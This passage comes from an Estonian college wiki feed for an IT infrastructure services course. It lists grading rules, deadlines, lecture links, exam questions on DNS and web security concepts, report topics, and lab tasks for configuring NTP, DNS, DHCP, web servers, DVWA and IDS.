*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88627</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88627"/>
		<updated>2015-05-18T07:42:04Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
